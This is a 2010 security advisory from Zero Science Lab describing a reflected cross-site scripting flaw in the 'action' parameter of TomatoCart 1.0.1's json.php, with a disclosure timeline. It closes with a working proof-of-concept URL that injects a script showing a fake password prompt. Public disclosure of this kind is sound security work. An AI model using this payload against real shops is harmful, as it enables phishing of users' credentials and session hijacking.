TomatoCart 1.0.1 (json.php) Remote Cross-Site Scripting Vulnerability Vendor: Wuxi Elootec Technology Co., Ltd. Product web page: http://www.tomatocart.com Affected version: 1.0.1 Summary: TomatoCart is the new generation of open source shopping cart solution developed by Elootec Technology Co., Ltd. It is branched from osCommerce 3 as a separate project. Desc: TomatoCart version 1.0.1 suffers from a XSS vulnerability because input passed via the "action" parameter to json.php script is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. -------------------------------- .output -------------------------------- Warning: call_user_func() expects parameter 1 to be a valid callback, class 'toC_Json_Checkout' does not have a method '1' in \tomatocart\includes\classes\json.php on line 64 Line 64: call_user_func(array('toC_Json_' . ucfirst($module), $action)); -------------------------------- output. -------------------------------- -- ------------------- .snip ------------------- $action = $_REQUEST['action']; ------------------- snip. ------------------- Tested on: Microsoft Windows XP Professional SP3 (English) Apache 2.2.14 (Win32) MySQL 5.1.41 PHP 5.3.1 Vendor status: [01.10.2010] Vulnerability discovered. [02.10.2010] Vendor contacted. [05.10.2010] No reply from vendor. [06.10.2010] Public advisory released. Advisory ID: ZSL-2010-4968 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4968.php Vulnerability discovered by: Gjoko "LiquidWorm" Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Dokaz na koncept: http://tomatocart/json.php?action=1<script>prompt("Please enter your password:")</script>&module=checkout&sid=31337133713371337133731337